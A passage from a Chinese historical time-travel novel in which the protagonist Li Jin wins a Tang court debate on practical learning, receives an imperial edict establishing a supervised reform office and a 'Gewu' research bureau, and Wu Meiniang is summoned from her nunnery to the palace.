“至于华夷之防,” 李瑾环视众人,声音清朗,“诸位口口声声‘内修德政,外夷自服’。然,修德政需钱粮,强边防需兵甲,赈灾民需仓储。钱粮兵甲从何而来?仅靠关中、河北田亩所出?贞观初,突厥兵临渭水,是修德政使其退兵,还是太宗皇帝秣马厉兵、府库充实,方使其慑服?今吐蕃日渐强盛,屡扰河西;高句丽据辽东,未完全臣服。我朝若无充足财用,无精良军械,无海外之援(如联络吐谷浑、西突厥牵制吐蕃),空谈‘修德’,能保边境安宁乎?了解四夷,开拓海路,互通有无,增我国力,正是为了更好的‘修德’、更好的‘安边’!此非消弭华夷,而是以我之强,驭夷之变!”
他巧妙地将“开拓海洋”与“增强国力”、“巩固边防”联系起来,赋予了其战略必要性。
这时,一位出身江南士族、对海外贸易颇为了解的工部郎中出列,犹豫道:“李少监所言海贸之利,下官亦有所闻。然,海路风险巨大,飓风、暗礁、海盗,皆可致船毁人亡,血本无归。且蕃商狡黠,常有以次充好、欺诈之事。朝廷若大力推动,恐有损失,且易滋生腐败。”
这个问题相对务实。李瑾点头道:“周郎中所虑甚是。海路有风险,然岂能因有风险便不食鱼?陆上丝路,不也有沙暴、匪患、羌人劫掠?关键在于如何管理,如何规避。” 他转向皇帝,“陛下,臣前策曾言,可强化市舶司,建造更坚固海船,培训专精航海、通晓番语之官吏,绘制精确海图,建立港口巡检、货物查验、公平定价之制度,并与沿海藩国订立互保商船之约。此非一蹴而就,然只要方向正确,步步为营,自可渐次降低风险,规范贸易。至于腐败,任何事务皆有,岂独海贸?关键在严刑峻法,明察秋毫。岂能因可能生疮,便自断一臂?”
他承认风险,但提出了系统性的管理解决方案,显得既有远见又务实。
萧瑀见己方攻势被一一化解,再也按捺不住,亲自出马,厉声道:“李瑾!你休要巧言令色!纵然你所言有些许道理,然道与术,孰轻孰重?圣人设教化,明礼义,乃为正人心。你所倡者,无非‘利’字当头。若天下士民皆汲汲于利,则礼义廉耻何存?父子兄弟何亲?此乃舍本逐末,败坏天下根本!纵得一时之利,必遗百世之患!此乃大道与小利之别,你岂能不知?”
萧瑀再次祭出“义利之辨”的大旗,站在道德制高点进行终极批判。这是儒家保守派最核心的武器,也是最难辩驳的,因为它诉诸于价值判断而非事实。
殿中气氛再次紧绷。所有人都看向李瑾,看他如何应对这近乎无解的“大道”指责。
李瑾深吸一口气,神色变得无比庄重。他先向萧瑀郑重一揖,然后转向御座,朗声道:“陛下,萧相问‘道’与‘利’。臣敢问,何为‘大道’?《礼记·大学》有云:‘大学之道,在明明德,在亲民,在止于至善。’ 又云:‘古之欲明明德于天下者,先治其国;欲治其国者,先齐其家;欲齐其家者,先修其身;欲修其身者,先正其心;欲正其心者,先诚其意;欲诚其意者,先致其知;致知在格物。’”
他竟背起了《大学》章句,而且背的是儒家修齐治平、格物致知的根本纲领!殿中众人,包括萧瑀,都愣住了。
“格物、致知、诚意、正心、修身、齐家、治国、平天下!” 李瑾一字一顿,声音在大殿中回荡,“此方为圣人所传之大道!此道之基,在于格物致知!不明物理,如何致知?不究实情,如何诚意?不识天下,何以治国?不富百姓,何以安邦?”
他猛地转身,目光如电,直视萧瑀:“萧相,您口口声声‘大道’,却将‘格物致知’、‘利用厚生’摒弃于大道之外!将关乎百姓饱暖、国家富强的‘实学’、‘实利’,贬斥为‘小利’、‘末技’!此非尊圣人之道,实乃曲解圣道,僵化圣学!”
“圣人制礼作乐,教民稼穑,发明舟车,定鼎九州,何一不是‘格物致知’、‘利用厚生’?神农尝百草,黄帝造舟车,周公制礼乐,孔子删诗书,皆是为开物成务,利于众生!此乃圣人之道,生生不息,经世致用之真谛!”
“臣所倡改良农具,是为‘教民稼穑’之延伸;鼓励百工创新,是为‘开物成务’之践行;了解海外、开拓商贸,是为‘格物致知’(知天下)、“利用厚生”(通有无)之探索。凡此种种,皆为使百姓衣食足而知荣辱,仓廪实而晓礼义!使国家府库充而强兵甲,国力盛而怀远人!此非逐‘小利’,乃是循圣人大道,求国泰民安之大利!是以实学固根本,以实利行大道!”
“若空谈‘义利’,使民饥不得食,寒不得衣,国弱不得安,边患不得宁,则所谓‘大道’,不过空中楼阁,水中泡影,徒为腐儒清谈之资,于国于民,又有何益?!”
李瑾这番论述,石破天惊!他不仅没有在“义利之辨”上退缩,反而以《大学》的“格物致知”和“修齐治平”为理论武器,将“实学”、“实利”提升到了“圣人大道”的组成部分和实现途径的高度!他指责对方是“曲解圣道,僵化圣学”,而自己才是真正践行“经世致用”的圣人之道!这已不仅仅是政策辩论,更是对儒家经典解释权的争夺,是对“大道”定义的重新阐释!
殿中一片死寂。许多官员,尤其是那些年轻些的、务实派的官员,听得心潮澎湃,豁然开朗。对啊!圣人之道,本就不排斥“开物成务”、“利用厚生”!格物致知,本就是修齐治平的起点!李瑾将“实学”与“大道”如此完美地结合,彻底瓦解了对方“义利对立”的立论基础!
萧瑀脸色煞白,嘴唇哆嗦,指着李瑾,想要反驳,却一时找不到更有力的理论依据。他身后的保守派们也面面相觑,被李瑾这番引经据典、逻辑严密的“大道”论述震得哑口无言。
“至于萧相所忧‘败坏人心’,” 李瑾语气稍缓,但依旧有力,“臣以为,人心之坏,非因求利,而在求不义之利。朝廷当做者,乃明定规矩,导利向善。鼓励百姓通过辛勤劳作、发明创造获得财富,此为正道;严惩巧取豪夺、贪赃枉法,此为去邪。若因惧怕人心坏,便禁止一切求利之举,岂不是因噎废食?农人求丰收之利,工匠求精艺之利,商人求流通之利,士人求学问之利(立功立业),只要取之有道,用之有度,何害之有?此正是义利合一,以义导利,以利成义!”
他再次将“利”纳入“义”的框架,提出了“导利向善”、“义利合一”的治理思路,显得更加圆融和具有操作性。
殿中长时间的沉默。皇帝李治的目光,从最初的凝重,到惊讶,再到深深的赞许,最终化为一片清明。他缓缓扫过众臣,尤其是在那些面露沉思、若有所悟的官员脸上停留片刻。
“诸卿,” 李治终于开口,声音沉稳而充满力量,“今日廷议,朕听之良久。李瑾所言,或有可商榷之处,然其以《大学》之道释实学之用,以格物致知明富国强兵之途,以义利合一论治国安民之策,朕深以为然!”
皇帝的直接肯定,如同为这场辩论一锤定音!
“圣人之道,浩如烟海,然其核心,在于经世致用,利于生民。徒守章句,空谈义理,非真知圣道。农桑、百工、商贸、海疆,皆为国之大政,关乎民命国运,岂可轻言‘末业’、‘奇技’而鄙弃之?当实事求是,因时制宜,择善而从。”
他顿了顿,语气转为严厉:“然,李瑾,你亦需谨记。所行之事,务必稳妥,不可好大喜功,更需严于律己,身正为范。诸般试点,需依前旨,受有司监察,以实效为凭。”
“至于《寰宇图》及华夷之论,” 李治看向众人,“图乃地理之图,旨在知彼。我大唐乃天朝上国,此乃礼法所定,人心所向。然天朝气象,不在固步自封,而在兼容并蓄,怀柔远人,以我之文明昌盛,使四夷宾服。了解外情,正是为了更好地彰显天朝德威。此事不必再议。”
“今日廷议,诸卿各抒己见,朕心甚慰。着中书门下,就今日所议,并前番李瑾诸策试点之监察结果,详加斟酌,拟定章程,逐步推行。退朝!”
“吾皇万岁,万岁,万万岁!”
山呼声中,朝会散去。李瑾立在原地,感受到无数道目光——有钦佩,有嫉恨,有深思,有恍然。他知道,这场“舌·战老腐儒”,他凭借对儒家经典的深刻理解和巧妙运用,结合超越时代的见识,赢得了关键性的胜利。皇帝的表态,不仅是对他个人的支持,更是对他所代表的“实学”、“经世致用”理念的官方认可。
虽然前路依然有荆棘,反对的声音不会消失,但“大道”之争的天平,已然倾斜。他成功地在这场思想交锋中,为“实学”正了名,为改革开了路。接下来的,便是将理念转化为更多实实在在的成果,用铁一般的事实,继续夯实这条通往未来的道路。
走出两仪殿,秋阳正好,天高云阔。李瑾深深吸了一口清冽的空气。他知道,属于他的时代浪潮,正伴随着这场辩论的胜利,愈发汹涌澎湃,不可阻挡。
第59章 天子定风波
重阳廷议的尘埃,并未随着朝会的散去而真正落定。李瑾那番“以《大学》之道释实学之用、以格物致知明富国强兵之途、以义利合一论治国安民之策”的宏论,如同投入千年古潭的巨石,其引发的思想涟漪与政治波澜,正以前所未有的速度和深度,向整个帝国的统治阶层乃至士林蔓延。皇帝李治“深以为然”的表态,无疑为这场“大道”之争划下了阶段性的休止符,也为李瑾及其所代表的“实学经世”理念,披上了一层金光闪闪的“****”外衣。然而,理念的胜利,远不等于现实的顺畅。朝堂之上,暗流从未停息;利益之间,博弈更加微妙。
廷议次日,便有数道言辞恳切却又暗藏机锋的奏疏,悄然呈递至皇帝的案头。来自萧瑀一系或与其亲近的官员,在奏疏中“痛心疾首”地表示,虽不敢质疑圣裁,然“李瑾之论,以圣言文饰功利,恐开士子弃经从术、舍本逐末之端”;“其工坊聚利,与将作监、市舶司往来密切,虽云为公,然权责交错,易生弊端,不可不防”;更有甚者,旧事重提,隐约暗示“闻其与宫外女尼有书信往还,虽云问佛,然恐涉宫闱,有损清誉”。这些奏疏,不再正面强攻“大道”之争,转而从“执行风险”、“吏治隐患”、“个人品行”等更具体、也更难以辩驳的角落发起攻击,试图从实践层面阻挠、延缓甚至败坏李瑾的诸项“试点”。
与此同时,那些在廷议中被李瑾的“大道”论述所折服、或本就对“实学”抱有同情、或嗅觉敏锐意识到风向变化的官员,也开始了各自的行动。于志宁、阎立本等人自然更加积极地推动“试点”事务的落实。一些原本中立的户部、工部、兵部中下级官员,开始主动与将作监的“百工创新署”接触,或询问新式农具试用情况,或探讨军械改良的可能性,或打听海外贸易的细节。国子监、弘文馆内,少数思想较为开明的博士、助教,开始在讲学中提及“格物致知”的重要性,甚至私下讨论“明算”、“明工”等专科取士的可行性。市井之间,关于“李探花”廷议上“舌·战群儒”、“陛下力挺”的传奇故事,也经由各种渠道流传开来,为其本就显赫的名声,更增添了几分“帝眷正隆”的光环。
皇帝李治显然没有停留在口头支持的层面。重阳廷议后的第十日,一道经过精心措辞、盖有皇帝玉玺和中书门下印信的特旨,以“制书”形式正式颁行。这道制书,既是对廷议的总结,也是对李瑾所倡诸事的最终定调与具体安排,可谓“天子定风波”的正式法理文件。
制书开篇,先以庄重之语肯定“农桑为本,礼义为先”的治国根本,旋即笔锋一转:“然时移世易,道亦因权。昔者圣王制器尚象,开物成务,莫非以利天下。” 引用《易经》和先王事迹,为“实学”、“工技”正名。接着,制书明确:“今有臣工,明于格物,达于时务,所陈诸策,如新式农具以利耕稼,百工创新以启民智,通海贸以丰国用,储水师以固海疆,皆本于强国利民之念,朕详加咨度,以为可行。” 正式将李瑾的几项核心“试点”政策,提升到“国策”层面予以认可。
然而,制书并未给予李瑾无限权力。在具体安排上,体现了李治高超的政治平衡术:
其一,设立“督行实务使”。制书明令,以将作监少监李瑾为“督行实务使”,总领新式农具推广、百工创新、海外通商筹备(与市舶司协同)、水师人才储备教习等一应事宜,并赋予其“协调相关诸司,便宜行事”之权。这无疑是将李瑾推到了执行层面的核心位置,给予其名正言顺的统筹之权。
其二,强化“联席审议”与“监察”机制。制书规定,凡“督行实务使”所行重大事项,需由尚书省(分管户部、工部、兵部之左右仆射)、御史台、秘书省(李瑾本职所在) 及东宫(代表太子关切) 派员,组成“实务审议联席”,每季一会,审议计划、稽核用度、评估成效。同时,御史台加派监察御史一员,常驻将作监及‘督行实务使’办事之所,专司监察,可随时调阅文书账目,查访匠吏,直接向皇帝禀报。这既给了李瑾舞台,也套上了严密的监督笼头,并将各方势力(宰相、言官、清流、东宫)都拉入了监督体系,使其相互制衡。
其三,明确“渐进试行,以效为准”原则。制书反复强调,诸事“不可骤行,当以试点为先”,“一处见效,方可渐次推广”,“若生弊端,或靡费无功,立即更张”。并将评判“实效”的标准,部分量化:如新式农具,需在至少三处不同土质的皇庄或官田,经一完整农季,由司农寺出具对比报告,证明确实“省力增产”且“耐用不增本”;百工创新署,需定期(每半年)向联席呈报“收录有效新技几何,已推广几何,获赏工匠几何,所生利税几何”;海外通商筹备,需由市舶司与户部核算“增税预期”与“船队建造维护之费”,并提交“风险应对条陈”。
其四,对敏感问题“冷处理”与“切割”。制书对争议最大的“《寰宇图》与华夷之辨”只字未提,仅以“秘书省所藏《外藩图志》,着即校勘整理,以备查考”一笔带过,实则默认了其“地理参考资料”的定位,暂时搁置争议。对于李瑾“工坊”,制书亦未多言,只以“督行实务使可调用得力匠**助”含糊表述,既承认其技术价值,又避免直接将其与官署等同,切割了可能的“官商勾结”指责。
其五,人事安排上的“掺沙子”与“给甜头”。制书任命了几位“联席审议”的具体人选:尚书省方面,是萧瑀的门生、一位以谨慎乃至保守著称的户部侍郎;御史台方面,派出的是一位素以刚直、不徇私情闻名的中年御史;秘书省方面,则指派了那位对李瑾有些好奇的王姓少监;东宫方面,自然是于志宁。这些人选,既有制约李瑾的(萧瑀门生、铁面御史),也有相对中立的(王少监),还有支持他的(于志宁),确保审议不会一边倒。同时,制书也明确,徐有功、张遂、姜师度等“墨香茶舍”出身的“实学”官员,可根据“督行实务使”的申请,临时借调参与相关实务,给予他们实践锻炼的机会,也算是对李瑾“班底”的隐性支持。
这道制书,可谓煞费苦心,面面俱到。它既充分回应了廷议的成果,肯定了李瑾的理念与价值,赋予其推动改革的实际职权,展现了皇帝锐意进取、支持实干的决心;又通过严密的监督制衡、渐进原则、量化考核,最大程度地安抚了反对派,防范了可能的风险,也堵住了许多人的嘴。皇帝李治在其中展现的,不仅仅是对李瑾个人的信任,更是一个成熟政治家驾驭复杂局面、平衡各方利益、稳步推进变革的高超手腕。
制书颁布之日,李瑾在将作监衙门正式接过“督行实务使”的关防印信。于志宁、阎立本等人前来道贺,言语间不乏勉励与提醒。萧瑀虽未亲至,但其门生那位户部侍郎却“准时”前来参加第一次“联席审议”筹备会,表情严肃,公事公办。那位铁面御史也已到岗,开始调阅将作监近期的文书档案。
李瑾神色平静,一一应对。他深知,这道制书是“尚方宝剑”,也是“紧箍咒”;是广阔的舞台,也是透明的牢笼。从此以后,他的一举一动,都将置于更多双眼睛的严密注视之下,任何差错都可能被放大,成为攻讦的借口。但与此同时,他也获得了前所未有的授权和资源,可以名正言顺、大张旗鼓地去实现胸中的蓝图。
他没有时间沉浸在权力的喜悦或束缚的忧虑中。第一次“联席审议”定在半月之后,他必须拿出像样的、经得起推敲的阶段性成果和下一步详细计划。新式农具的扩大试用报告需要尽快整理出来;“百工创新署”不能只停留在收集阶段,需要筛选出几个最有价值的项目,启动官民合作试点;海外贸易方面,需与广州市舶司取得联系,了解现状,筹划第一次“官督商办”的探索性远航;水师人才储备,则需与兵部、将作监舟楫署具体商议培训课程和选拔标准……
千头万绪,但路径清晰。李瑾回到自己的廨署,铺开纸张,开始起草作为“督行实务使”的第一份工作计划。他要将皇帝的“定风波”之意,转化为一道道具体可行的指令,落实到田间地头、工坊炉前、港口船坞。
窗外的秋意渐深,梧桐叶开始泛黄飘落。但李瑾的心中,却燃烧着一团炽热的火焰。天子的支持,如同劲风,助长了这团火;而各方的制衡与审视,则如同熔炉的壁,迫使这团火燃烧得更集中、更猛烈、也更持久。
他知道,真正的考验,现在才刚刚开始。但他已手持敕令,身负皇命,胸藏丘壑,又有“墨香茶舍”汇聚的“实学”同道为援。前路纵有万难,又何足惧哉?
“天子定风波”,定的是朝堂争议的风波,却定不了未来变革的洪流。而李瑾,将作为这洪流的引领者与弄潮儿,在皇帝划定的航道内,开启一场静默而浩大的帝国革新试验。成败利钝,非惟天时,亦在人为。
第60章 敕建格物院
冬日的长安,万物肃杀,而城南“周氏工坊”的铁炉、玻璃窑、造纸坊内,却依旧蒸腾着不息的生机与热力。自皇帝“督行实务使”的任命与“联席审议、监察渐进”的制书颁布以来,李瑾便如同上紧了发条的机械,在这套全新的、看似严密却又赋予他相当行动空间的框架内,高速而审慎地运转着。他深知,第一次“联席审议”的成败,将直接决定“督行实务使”这个新生事物的威信,也关系到他所有理念能否继续获得皇帝支持,顺利推行。
半月之期,转瞬即逝。李瑾几乎以工坊为家,与王掌柜、鲁平、郑师傅、赵匠师、方竹等核心匠师日夜筹划,与徐有功、张遂、姜师度等借调来的“实学”官员反复推敲,更与于志宁、阎立本等支持者保持密切沟通。他要交出的,不仅是一份漂亮的计划书,更要有拿得出手的、实实在在的阶段性成果。
第一次“联席审议”在尚书省政事堂的一间偏厅举行。与会者除了“督行实务使”李瑾,还有代表尚书省的户部侍郎郑虔(萧瑀门生)、御史台的监察御史周兴(以严苛闻名)、秘书省少监王弘、东宫左庶子于志宁,以及列席记录的吏员。气氛凝重,郑侍郎面无表情,周御史目光如鹰,王少监带着几分好奇,于志宁则神色沉稳。
李瑾率先呈报了“督行实务”半月来的进展:新式钢制农具在关中三处皇庄、河东两处官田的扩大试用初步报告已由司农寺汇总,数据显示平均增产约一成,节省畜力人力约两成,且因钢口耐磨,预计使用寿命远超旧式铁具,虽有初期投入,但长远看“费省而利长”。百工创新署已收到各地呈报“奇技”七十三项,经初步评议,筛选出“改良筒车”、“新式纺纱机”、“高效省柴灶”等五项,正在进行工坊小规模验证,其中“改良筒车”已证实在特定坡度河流可提水效率增三成。海外通商筹备方面,已与广州市舶使取得联系,正在调阅近年蕃商货物清单与税入账目,并着手草拟“官督商办、探索南洋”的初步方案。水师人才储备,已与兵部职方司、将作监舟楫署初步议定,拟在登州、明州水寨,选拔年轻聪慧、通水性的士卒、匠户子弟各二十人,由工坊聘用的老舵工、波斯导航员传授基础航海、天文、海图知识,作为种子。
汇报条理清晰,数据详实,既有已完成的工作,也有明确的下一步计划,更突出了“实效”与“渐进”。郑侍郎听完,沉默片刻,问道:“新式农具所费精钢,来源何处?工价几何?若全面推广,朝廷需补贴多少?此‘费省’之省,是否已将钢料、工本计入?”
问题尖锐,直指成本。李瑾不慌不忙,呈上工坊内部核算的详细物料、工本清单(当然做了必要处理),解释道:“钢料来自工坊自炼,因高炉工艺改进,成本已较市面百炼钢为低。工本因流水作业,亦得控制。目前试制,每件犁铧总成本约合常制优质铁犁一倍半,然其耐用度预估超三倍,且增产省力之效,一季便可收回差价有余。若未来规模化生产,成本有望再降。至于补贴,臣以为无需朝廷直接补贴,可由将作监与司农寺核定价格,由各地官府或富户、宗族先行采购试用,见效后自然推广。朝廷只需做好标准制定、质量监督即可。”
周御史则追问:“百工创新署所录‘奇技’,奖赏由何而出?验证所费,账目可清?有无滥赏、虚报?”
“回周御史,奖赏由将作监特设‘劝工银’专款支出,每笔皆有记录,奖赏额度依技之价值分三等,由创新署吏员与匠师共同评议。验证所费,亦在将作监日常物料损耗中列支,单独记账。所有文书、账目,御史可随时调阅核查。至于滥赏虚报,” 李瑾坦然道,“目前尚未发现。然此弊不可不防,已定下规矩:凡有虚报骗取奖赏者,一经查实,追回赏金,永不录用,并送有司论处;创新署吏员若徇私,同罪。”
王少监问及海外贸易风险,李瑾也提出了“官船保险”、“联合商会”、“与沿海藩国订约”等初步设想,承认风险存在,但强调管理与收益并存。
第一次审议,便在这样略显紧张但还算顺畅的质询与回答中度过。郑侍郎、周御史虽挑了些刺,但在李瑾准备充分的答复和于志宁、王少监的补充下,未能找到重大纰漏。最终,审议勉强通过了李瑾的阶段性汇报与下一步计划,但要求其对农具成本、创新署账目、海贸风险预案等,提供更详细的补充说明。
有了第一次审议的“过关”经验,后续的推进虽然依旧步步惊心,却在既定轨道上稳步行进。新式农具在更多地区的试用反馈积极,司农寺的评价愈发正面。百工创新署验证成功的“改良筒车”开始在京畿几处皇庄安装,效果显著。海外贸易的筹备也取得了进展,广州市舶使回复积极,表示愿配合“探索”。水师种子学员的选拔也在进行中。
然而,随着“试点”事务的深入和扩展,李瑾越来越感到,现有的架构难以支撑更宏大、更系统的“实学”发展。“百工创新署”隶属于将作监,职能限于搜集、验证民间技艺,层次较低,且受将作监原有官僚体系掣肘。“督行实务使”更像一个临时性的协调官职,依靠李瑾个人权威和皇帝支持运行,缺乏常设机构应有的稳定性、专业性和资源调配能力。他需要一个更高级别、更独立、职能更综合的常设机构,来系统性地推动“格物致知”、“实学经世”的理念,将其从零散的“试点”,上升为国家层面的长期战略。
他将这个想法,与于志宁、阎立本等重臣沟通,获得了他们的理解与支持。于志宁甚至提议,可借此机会,将“科举改制”中关于“明工科”等专科取士的设想,与这个新机构的人才培养功能结合起来。李瑾深以为然,开始精心草拟奏疏。
他避开了容易引起争议的“明工”、“明算”等具体科名,而是从更高的“弘道”层面入手。奏疏以“臣闻欲明明德于天下者,必先格物致知”开篇,再次高举《大学》旗帜。他指出,当今朝廷虽有国子监、弘文馆、崇文馆等教育机构,然所授多为经史文章,于“天地万物之理,礼乐兵农之实,器械舟车之巧,海外方舆之博”,则涉猎甚少,或流于空谈。致使朝廷需用实学干才时,往往“才难其选”。
因此,他恳请皇帝,“仿古者成均教化之遗意,参以时需”,在京师敕建一所新的学研机构,其名可曰“格物院”。他详细阐述了“格物院”的构想:
宗旨:“穷究物理,致用实学,上以佐圣治,下以利民生。” 明确其“经世致用”的根本目标。
职能:分为三部。一为“究理部”,负责研究天文、历法、算学、地理、物性等基础“物理”;二为“制器部”,专司农具、兵器、舟车、器械、水利、营造等“利用厚生”之器的研究与改良;三为“博物部”,负责搜集、整理、考辨海内外山川物产、风土人情、奇技异巧,绘制舆图,编纂“博物志”。
运作:格物院隶属朝廷,但相对独立,由皇帝特简重臣或名儒主持(李瑾隐晦表示愿担此任)。院内设“博士”、“助教”、“生徒”等职。博士、助教不仅从经学名儒中选聘,更应广招天下“通晓一艺、明于物理”的巧匠、医师、算家、海客乃至“蕃客”中有专长者,充任“技博士”或“技导”。生徒来源,既可从未入仕的“实学”士子、匠户优秀子弟中选拔,亦可从国子监等官学中,选拔对“实学”有兴趣者转入。
与科举衔接:格物院优秀生徒,经考核,可给予“格物生”出身,由吏部酌情授官,或优先参加吏部“书判拔萃”等选拔。同时,可建议未来科举,为“格物院”出身或通晓格物院考核内容的士子,设立特殊通道或加分优待,实质上是为其“专科取士”铺路。
与现有“试点”结合:可将“百工创新署”并入格物院“制器部”,作为其应用转化机构;海外探索所得知识,归“博物部”整理;“新式农具推广”等具体项目,可由格物院提供技术支持与标准制定。
奏疏写毕,李瑾又附上了一份详细的“格物院筹建草案”,包括院址选址(建议利用城南一片官地,靠近工坊便于实践)、建筑规制、初期人员编制、经费预算(主要来自将作监结余、皇帝内帑特批及未来可能的技术转让收入)、以及首期重点研究项目(如继续改进高炉炼钢、探索焦炭大规模生产、研究海船抗风浪结构、绘制更精确的全国及海外分图等)。
奏疏通过于志宁,直呈御前。李治览罢,沉思良久。他敏锐地意识到,这“格物院”之议,是李瑾将其“实学”理念制度化、常态化的关键一步。若成,则“实学”将从个人的、零散的倡导,变为国家支持的、系统性的学术与工程体系,对未来王朝的发展走向影响深远。其中关于吸纳匠人、蕃客为“技博士”,以及变相为“专科取士”开路的设想,虽显大胆,却与他一贯的“务实”、“求才”思路暗合。且李瑾巧妙地将机构设立与《大学》“格物致知”的圣人之道挂钩,使其在理论上难以驳斥。
然而,阻力必然巨大。这无疑将触动国子监、弘文馆等传统教育机构的利益,更会引发清流对“工匠技艺登堂入室”、“淆乱学统”的激烈反对。那些“试点”尚可说是“实务所需”,而这“格物院”的设立,则近乎宣告一种新的学问体系和人才选拔标准将与旧体系并存,甚至挑战。
李治将奏疏压下数日,先私下征询了长孙无忌、褚遂良、于志宁等重臣的意见。长孙无忌依旧持重,认为“立意虽佳,然兹事体大,牵涉学政根本,当缓议。可先允其以‘督行实务使’名义,扩大‘百工创新’规模,增募些通晓技艺之人办事,观其效,再议建院不迟。” 褚遂良则明确反对,认为“学校之设,所以明人伦,非为雕虫之技。若使工匠杂流与士子同列,成何体统?且恐启侥幸之门,坏士习。” 于志宁、阎立本则力主支持,强调“实学乃强国之基,格物院非为取代经学,乃补其不足。且不费国帑,以技养技,何乐不为?”
皇帝权衡再三,决定折中。他没有立即批准建立独立的“格物院”,但采纳了李瑾奏疏中的部分核心构想,并赋予其更高级别的官方色彩。
腊月廿三,小年。皇帝颁布敕书:“朕惟治道在实,学贵致用。今有督行实务使李瑾所请,于京师筹建‘格物院’,专究物理,以资实政,深契朕心。着即于将作监内,辟地增建‘将作监格物所’,由督行实务使李瑾兼领。该所秩同将作监署,可自行聘请通晓天文、地理、算学、营造、军械、百工、海舶之技士为‘咨议’、‘导匠’,不限出身,优给廪饩。原‘百工创新署’并入该所。该所一应研议所得,凡有益国计民生者,可由将作监上奏,酌情推行。所需经费,于将作监岁入及朕特赐内帑中支用,需报备户部、御史台稽核。望其恪守‘格物致用’之本,勿负朕望。”
敕书巧妙地做了变通:不设独立的“格物院”,而是在将作监下设“格物所”,级别为“署”级,由李瑾这个“督行实务使”兼领,保持了与现有官僚体系的衔接,也降低了“另立门户”的敏感性。给予其自主聘请各类技术人才(“咨议”、“导匠”)并“不限出身”的权力,这实际上认可了李瑾“唯才是举”的理念。经费由将作监和内帑支持,也保证了其运作的独立性。最重要的是,它有了正式的名分和架构!
“将作监格物所”的牌子,在腊月廿八,年关之前,挂上了将作监衙门内新划出的一片独立院落门上。没有盛大的仪式,但知情者都明白这块牌子的分量。它意味着,李瑾倡导的“实学”,终于有了一个名正言顺的、官方认可的、可以汇聚人才、开展系统研究的“大本营”。
李瑾站在新挂的牌匾下,仰头望去。“格物”二字,在冬日的阳光下,显得朴拙而有力。他知道,这并非终点,而是一个全新的、更具挑战性的起点。“格物所”的建立,是皇帝对他最大的支持,也是对他最大的考验。他必须在这里,产出足以让所有人信服的成果,将“格物致知、实学经世”的理念,深深地烙印在这个帝国的肌体之中。
他转身,走进挂着“格物所”匾额的大门。院内,鲁平、郑师傅、张遂、徐有功、姜师度等人已等候多时。更有一批新近招募的、来自各地、身怀各艺的“咨议”、“导匠”,带着好奇、期待、或许还有一丝忐忑,望着这位年轻的“督行实务使”兼“格物所”主持。
“诸位,” 李瑾目光扫过众人,声音平静而充满力量,“自今日起,此处便是吾等‘穷究物理,致用实学’之所。天高地迥,万物有理。吾等当效先贤,仰观天文,俯察地理,近取诸身,远取诸物,通其变,极其数,制其器,利其生。以手中之技,心中之学,报效君国,造福生民。前路漫漫,愿与诸君,共勉之!”
众人肃然,齐声应诺。一股崭新的、充满探索与创造气息的力量,在这座新挂牌的“格物所”内,悄然凝聚。
长安城的年节气氛越来越浓,而“将作监格物所”内的灯火,也常常亮至深夜。那里,有对星图的测绘,有对算题的争论,有对海船模型的推敲,有对新式织机的构想,也有对一卷卷新搜集来的海外见闻的解读。
李瑾知道,随着“格物所”的建立,他在这大唐的根基,又深扎了一层。而未来的路,也将随着这“格物”之光的照耀,变得更加清晰,也更加波澜壮阔。属于他的时代画卷,正随着这方新辟的天地,徐徐展开更为宏大的篇章。
第61章 媚娘初入宫
贞观二十三年的冬雪,似乎比往年更绵长、更彻骨。感业寺庭中那株老梅,在腊月最寒的几天里,终于颤巍巍地绽开了几簇淡得几乎看不见的血色花苞,却又迅速被新落的雪花覆盖,了无痕迹,仿佛从未有过那一点生机。青灯古佛,晨钟暮鼓,日子在单调的诵经声与木鱼敲击中,如同冻结的溪流,缓慢而冰冷地向前淌着。武媚娘一身淄衣,素面朝天,跪坐于佛前,双手合十,眼睫低垂,神色是经年累月修炼出的、近乎入定的平静。只有那挺直的脊背与袖中微微蜷起的手指,泄露着这具躯壳内从未真正熄灭过的、如同地火般炽热而压抑的灵魂。
三年了。自先帝驾崩,她被发配至此,已整整三年。三年间,她凭借过人的隐忍、机敏与刻意经营的“虔敬”形象,不仅在这清苦的尼寺中站稳了脚跟,更悄然织就了一张属于自己的、隐秘而有效的关系网。慧明师太早已对她言听计从,视为衣钵传人(至少表面如此)。郭老夫人这位在宗室命妇中颇有影响力的诰命,成了她最坚定的同情者与庇护人,时常入寺探望,更“无意间”在宫中、在命妇圈中,为这位“为先帝祈福、甘守清苦、才德兼备”的故人,洒下许多怜悯与赞誉的种子。通过郭老夫人,她也得以与宫中的周尚宫保持一条极其隐秘的联系渠道,得以知晓那九重宫阙内风云变幻的些许轮廓。
她清楚地知道,王皇后与萧淑妃的争斗已趋白热化。王皇后虽居正位,然无子嗣,性情端严有余,柔婉不足,渐失帝心。萧淑妃年轻貌美,育有皇子,又得其父萧瑀在朝中为援,圣眷日隆,已屡有僭越之举,对后位虎视眈眈。王皇后处境日艰,急需援手。而这,正是她武媚娘等待已久、可能唯一的归途契机。
她也知道,宫墙之外,那个曾与她命运短暂交错、缔结了超越时代理解的隐秘同盟的年轻男子,已然以令人瞠目的速度,崛起于朝堂。献牛痘、献明玻、献新纸、献奇策、献寰宇图……李瑾的名字,如今在长安已是无人不知,无人不晓。他不仅成了皇帝倚重的“督行实务使”,更在将作监下建起了“格物所”,将“实学”的旗帜高高举起。他积累的财富、聚拢的人心、展现的才能,都远超她最初的预期。他通过郭老夫人递来的密信,言辞依旧谨慎,却已透露出掌控局面的自信与对未来的清晰谋划。他在信中说:“时机将临,静待风起。” 她懂。这“风”,既是朝堂之风,更是后宫之风。她必须确保,当这阵风吹起时,自己是那唯一、也是最适合被卷回风暴中心的落叶。
腊月廿八,年关迫近。感业寺山门外,积雪被清扫出一条通路。一队身着宫装、气度俨然的内侍与宫女,簇拥着一顶青幔小轿,踏雪而来。为首的内侍,手持一份盖有皇后宝玺的懿旨。
“奉皇后殿下懿旨,宣感业寺比丘尼武氏,入宫觐见。”
声音不高,却如同惊雷,在寂静的寺院上空滚过。所有僧尼都停下了手中的活计,惊疑不定地望向那间常年闭门的禅房。慧明师太闻讯匆匆赶来,脸上交织着错愕与一丝难以言喻的复杂。
禅房门“吱呀”一声打开。武媚娘缓步走出,依旧是一身淄衣,素净的脸上没有任何意外的表情,仿佛早已等候多时。她向慧明师太合十一礼,又对那内侍微微欠身,声音清越平稳:“贫尼接旨。容贫尼更衣,便随中使入宫。”
